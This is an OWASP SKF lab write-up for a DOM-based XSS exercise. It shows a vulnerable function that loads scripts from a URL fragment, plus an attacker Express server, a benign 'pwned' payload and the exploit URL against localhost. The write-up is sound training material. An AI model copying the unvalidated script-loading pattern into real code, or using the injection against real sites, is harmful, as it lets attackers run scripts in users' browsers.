NodeJS - XSS-DOM-2 - SKF write-ups

Running the app nodeJs
First make sure nodejs and npm are installed on your host machine. After installation, we go to the folder of the lab we want to practice. "i.e /skf-labs/XSS, /skf-labs/RFI/" and run the following commands:
1
$ npm install
Copied!
1
$ npm start
Copied!
Now that the app is running let's go hacking!
Reconnaissance
Step 1
The application shows no input field or anything else we can interact with. Let's inspect the source code.
Inspecting the source code of the application.
1
function loadWelcomeMessage() {
2
  setTimeout(function () {
3
    endpoint = location.hash.slice(5);
4
    var script = document.createElement("script");
5
    if (endpoint) {
6
      script.src = endpoint + "/js/welcome.js";
7
    } else {
8
      script.src = "/js/welcome.js";
9
    }
10
    document.head.appendChild(script);
11
  }, 2000);
12
}
Copied!
We notice the application imports javascript files into the application using this function.
1
endpoint = location.hash.slice(5);
Copied!
Declaring endpoint variable which takes the url, whatever is after the hash(#) and using slice to remove the first 4 characters after that. If the endpoint exists it will load the js file from there.
Exploitation
We can start building our malicious server and server the application with our malicious js file.
1
const express = require("express");
2
const app = express();
3
const path = require("path");
4
​
5
app.get("/static/js/welcome.js", function (req, res) {
6
  res.sendFile("welcome.js", {
7
    root: path.join(__dirname + "/static/js/"),
8
  });
9
});
10
​
11
const port = process.env.PORT || 1337;
12
​
13
app.listen(port, "0.0.0.0", () => console.log(`Listening on port ${port}...!!!`));
Copied!
Save the snippet above to > evil_server.js and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be nodeJs express.
1
$ npm install express
Copied!
Now we need to create our malicous js file, save the following snippet code into /static/js/welcome.js
1
document.getElementsByClassName("panel-body")[0].innerText = "pwned!!!";
Copied!
We are ready to start our server:
1
$ node evil_server.js
Copied!
Now we can serve our malicious js file to the application
1
http://localhost:5000/#xxxxhttp://localhost:1337
Copied!
Additional sources
Please refer to the OWASP testing guide for a full complete description about cross site scripting!
https://owasp.org/www-community/attacks/XSS-DOM-2/
owasp.org

Python - XSS-DOM-2

Java - XSS-DOM-2

Last modified 2mo ago

Export as PDF

Copy link

Edit on GitHub

Contents

Running the app nodeJs

Reconnaissance

Exploitation

Additional sources